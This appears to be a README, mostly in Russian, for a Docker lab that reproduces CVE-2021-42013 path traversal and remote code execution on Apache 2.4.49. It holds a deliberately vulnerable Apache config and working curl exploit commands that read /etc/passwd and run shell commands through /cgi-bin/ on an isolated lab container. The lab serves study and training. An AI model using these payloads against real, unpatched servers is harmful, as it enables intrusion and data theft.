
Apache HTTP Server (2.4.49) üzerinde CVE-2021-42013 zafiyetini (Path Traversal & RCE) simüle eden Docker tabanlı sızma testi laboratuvarı.
Лаборатория пентеста на основе Docker, симулирующая уязвимость CVE-2021-42013 (Path Traversal & RCE) на Apache HTTP Server (2.4.49).
Этот проект создан для симуляции и эксплуатации уязвимости CVE-2021-42013 на Apache HTTP Server (2.4.49) в изолированной среде. В работе была создана специальная лабораторная среда под названием docker-exploit-lab, а сценарий атаки реализован через машины жертвы (victim) и атакующего (attacker) в одной сети.
В нашей лаборатории есть два основных файла конфигурации: файл Docker Compose, определяющий машины жертвы/атакующего, и файл конфигурации, делающий сервер Apache уязвимым.
docker-compose.ymlЭтот файл создаёт изолированную среду в подсети 172.20.0.0/16. При запуске машины атакующего автоматически устанавливается инструмент curl, необходимый для атаки.
services:
victim:
image: httpd:2.4.49
container_name: victim-box
volumes:
- ./my-httpd.conf:/usr/local/apache2/conf/httpd.conf
networks:
lab_net:
ipv4_address: 172.20.0.2
attacker:
command: sh -c "apt update && apt install curl -y && tail -f /dev/null"
image: kalilinux/kali-rolling
container_name: attacker-box
tty: true
networks:
lab_net:
ipv4_address: 172.20.0.3
networks:
lab_net:
driver: bridge
ipam:
config:
- subnet: 172.20.0.0/16
my-httpd.confЧтобы активировать уязвимость, сервер был намеренно сделан уязвимым путём предоставления разрешения Require all granted корневому каталогу () и каталогу CGI. (Важное примечание: убедитесь, что этот файл сохранён в чистом формате UTF-8 без символа BOM (Byte Order Mark), чтобы избежать ошибок.)
Apache ServerRoot "/usr/local/apache2" Listen 80 LoadModule mpm_event_module modules/mod_mpm_event.so LoadModule authn_core_module modules/mod_authn_core.so LoadModule authz_core_module modules/mod_authz_core.so LoadModule unixd_module modules/mod_unixd.so LoadModule alias_module modules/mod_alias.so LoadModule cgid_module modules/mod_cgid.so User daemon Group daemon DocumentRoot "/usr/local/apache2/htdocs" AllowOverride none Require all granted ScriptAlias /cgi-bin/ "/usr/local/apache2/cgi-bin/" <Directory "/usr/local/apache2/cgi-bin/"> AllowOverride None Options +ExecCGI Require all granted
Чтобы запустить систему, находясь в рабочей директории, выполняем в терминале команду:
docker compose up -d
После запуска системы заходим внутрь машины Kali Linux, с которой будем выполнять команды атаки:
Bash
docker exec -it attacker-box /bin/bash
Изнутри машины Kali отправляем URL-закодированные символы (.%%32%65) на фиксированный IP-адрес целевой машины (172.20.0.2), чтобы активировать уязвимость обхода каталога и прочитать файл /etc/passwd: Bash curl -v --path-as-is http://172.20.0.2/icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
Поскольку мы разрешили каталог CGI в конфигурации Apache, мы можем использовать ту же логику обхода каталога через /cgi-bin/ для непосредственного выполнения shell-команд на сервере. Для выполнения команды id: Bash curl -v --path-as-is -d "echo; id" "http://172.20.0.2/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh" Успешный вывод: uid=1(daemon) gid=1(daemon) groups=1(daemon)
Данная работа наглядно демонстрирует, как на первый взгляд безобидная уязвимость Path Traversal на необновлённом веб-сервере в сочетании с неправильно настроенными разрешениями модуля CGI превращается в полное удалённое выполнение кода (RCE).